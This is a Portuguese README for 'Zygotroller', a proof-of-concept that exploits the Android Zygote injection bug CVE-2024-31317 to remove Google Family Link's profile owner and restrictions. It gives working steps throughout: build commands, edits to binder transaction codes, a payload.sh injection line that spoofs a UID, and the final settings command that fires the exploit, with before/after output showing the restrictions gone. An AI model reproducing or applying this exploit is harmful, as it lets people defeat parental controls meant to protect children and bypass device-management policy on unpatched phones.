
Remover link de proprietários/família do perfil Android com CVE-2024-31317
Zygotroller é uma prova de conceito que pode remover um proprietário de perfil e restrições associadas usando o bug de injeção Zygote do CVE-2024-31317. Requer modo de desenvolvedor e que o patch de segurança mais recente seja anterior a junho de 2024.
O sistema de controle parental do Google, Family Link, é mostrado como exemplo neste repositório.
Você precisará de um dispositivo relativamente moderno rodando uma distribuição baseada em Debian para compilar o Zygotroller. Pré-compilados podem ou não estar disponíveis dependendo de quando você está lendo isso.
Infelizmente, isso depende de partes internas do Android, então você precisa clonar todo o código-fonte do Android para construir o Zygotroller. Certifique-se de ter pelo menos 400 GB de espaço livre, embora provavelmente use menos.
IMPORTANTE SE USAR WSL: Certifique-se de ter bastante swap, ou o WSL irá travar. Eu pessoalmente usei 32G:
sudo fallocate -l 32G /swapfile
sudo chmod 600 /swapfile
sudo mkswap /swapfile
sudo swapon /swapfile
Agora, para clonar a fonte do AOSP:
mkdir ~/aosp
cd ~/aosp
repo init --partial-clone --no-use-superproject -b android-latest-release -u https://android.googlesource.com/platform/manifest
repo sync -c -j8 (pode levar várias tentativas devido a limites de taxa)
source build/envsetup.sh
lunch aosp_cf_arm64_only_phone-aosp_current-eng (se estiver testando em um emulador, mude arm64 para x86_64)
cd ~/aosp/external
git clone https://github.com/rifting/Zygotroller
cd Zygotroller
Agora precisamos alterar os valores no script para o nosso proprietário de perfil real e o opcode para clearProfileOwner.
O proprietário de perfil pode estar no pacote "supervision" dos Google Play services ou nos próprios Google Play services. Execute dpm list-owners, meu resultado foi assim:
$ dpm list-owners
1 owner:
User 0: admin=com.google.android.gms.supervision/com.google.android.gms.kids.account.receiver.ProfileOwnerReceiver,ProfileOwner
Isso nos dá duas informações que precisamos para o Zygotroller: o nome do pacote (com.google.android.gms.supervision) e o nome da classe (com.google.android.gms.kids.account.receiver.ProfileOwnerReceiver).
Edite zygotroll.cpp com seu editor de texto preferido e atualize estas linhas para o seu componente de proprietário de perfil:
// Family Link profile owner
std::string pkg = "com.google.android.gms.supervision";
std::string cls = "com.google.android.gms.kids.account.receiver.ProfileOwnerReceiver";
Agora você precisa encontrar o opcode da função clearProfileOwner do DPM. Para mim foi "91", mas varia dependendo da versão/tipo do Android que você está usando. Para obter o opcode do clearProfileOwner, usei android-svc com o comando
android-svc convert 'android.app.admin.IDevicePolicyManager.clearProfileOwner("dummy")'
O número que você ver na saída será o opcode para clearProfileOwner, abra novamente zygotroll.cpp com seu editor de texto preferido e edite o número aqui para o seu opcode real:
// Transaction code 91 was ClearProfileOwner for my device
dpm->transact(91, data, &reply);
Você vai querer fazer o mesmo com setUserRestriction:
// Transaction code 132 was setUserRestriction for my device
dpm->transact(132, data2, &reply2);
Agora precisamos compilar o zygotroller:
mm
Isso pode levar MUITO tempo na primeira compilação; compilações subsequentes levarão <1 minuto na maioria das máquinas modernas.
Encontre seu binário em ~/aosp/out/target/product/vsoc_x86_64_only/system/bin/zygotroller
Agora precisamos criar um aplicativo que contenha este binário como uma "biblioteca compartilhada" que na verdade é apenas o executável do Zygotroller, para que o SELinux nos permita executá-lo. Você pode usar meu repositório "CopyNativeLib" para isso:
git clone https://github.com/rifting/CopyNativeLib.git
Em seguida, renomeie seu binário Zygotroller para libzygotroller.so e coloque-o em app/src/main/jniLibs/arm64-v8a (estou supondo que essa será a arquitetura do seu telefone). Compile o APK no Android Studio e instale no dispositivo com adb install.
O proprietário de perfil do Family Link foi userid 10090 para mim, também conhecido como u0_a90
Faça dumpsys package com.google.android.gms.supervision | grep userId=
Agora dê uma olhada no payload.sh, nesta linha
inject='\n--setuid=10090...
Altere o UID aqui de 10090 para o seu UID do comando dumpsys. Se for o mesmo ID, deixe como está.
Olhe um pouco mais adiante na mesma linha e você verá
...echo zYg0te $(LD_LIBRARY_PATH=[caminho para sua lib nativa] [caminho para sua lib nativa])...
(reticências usadas para mostrar truncamento)
Você precisa substituir estes pelos caminhos para a biblioteca nativa que acabou de instalar no dispositivo. Execute pm path com.rifting.copynativelib.
O caminho para o arquivo será o diretório pai do APK mostrado na saída do comando, + lib/arm64-v8a/libzygotroller.so. LD_LIBRARY_PATH precisa ser o diretório da biblioteca, e depois o caminho real para a biblioteca deve vir em seguida.
Então essa linha vai acabar parecendo algo assim:
...echo zYg0te $(LD_LIBRARY_PATH=/data/app/~~IQhIf-M_9eLGoJ-Wd-qaCA==/com.rifting.copynativelib-a6N1upfA-_Trjh_cPCHngA==/lib/x86_64/ /data/app/~~IQhIf-M_9eLGoJ-Wd-qaCA==/com.rifting.copynativelib-a6N1upfA-_Trjh_cPCHngA==/lib/x86_64/libreal.so)...
Você está quase lá! Envie este arquivo para /data/local/tmp
adb push payload.sh /data/local/tmp
Defina as permissões:
chmod +x /data/local/tmp/payload.sh
E, finalmente, envie sua saída para hidden_api_blacklist_exemptions!
settings put global hidden_api_blacklist_exemptions "$(sh ./payload.sh)"
Agora defina isso como "0" para evitar um bootloop :)
settings put global hidden_api_blacklist_exemptions 0
Você deve ver que o proprietário de perfil do Family Link e todas as restrições associadas foram removidos. Vá para Configurações e gerenciar contas e remova a conta supervisionada do dispositivo. Parabéns!
Antes:
$ dpm list-owners
1 owner:
User 0: admin=com.google.android.gms.supervision/com.google.android.gms.kids.account.receiver.ProfileOwnerReceiver,ProfileOwner
$ abx2xml /data/system/users/0.xml -
...
<device_policy_local_restrictions>
<restrictions_user user_id="0">
<restrictions no_factory_reset="true" no_config_location="true" no_add_clone_profile="true" no_safe_boot="true" no_config_credentials="true" no_config_date_time="true" />
</restrictions_user>
</device_policy_local_restrictions>
...
Depois:
$ dpm list-owners
no owners
emu64xa:/ $
$ abx2xml /data/system/users/0.xml -
...
<device_policy_local_restrictions />
...